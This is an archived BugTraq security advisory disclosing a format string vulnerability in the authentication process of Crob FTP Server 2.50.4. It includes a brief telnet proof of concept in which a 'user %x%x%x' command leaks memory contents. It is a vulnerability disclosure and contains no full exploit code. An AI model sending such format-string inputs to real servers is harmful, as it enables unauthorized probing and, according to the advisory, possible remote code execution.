BugTraq
Format String Vulnerability in Crob Ftp Server Jun 02 2003 04:55PM
Luca Ercoli (luca ercoli inwind it)


Package: Crob Ftp Server

Auth: Crob Software Studio (www.crob.net/studio/ftpserver/)

Version: 2.50.4 Build 228

Vulnerability: Format String

Risk: High

Vulnerability

Description:

A format string flaw in the authentication process allows remote attackers

without valid user/pass to execute arbitrary code.

C:\>telnet 192.168.0.1 21

220- Crob FTP Server V2.50.4

220 Welcome to Crob FTP Server

user %x%x%x

331 Password required for 0d1250b70

Luca Ercoli luca.ercoli[at]inwind.it

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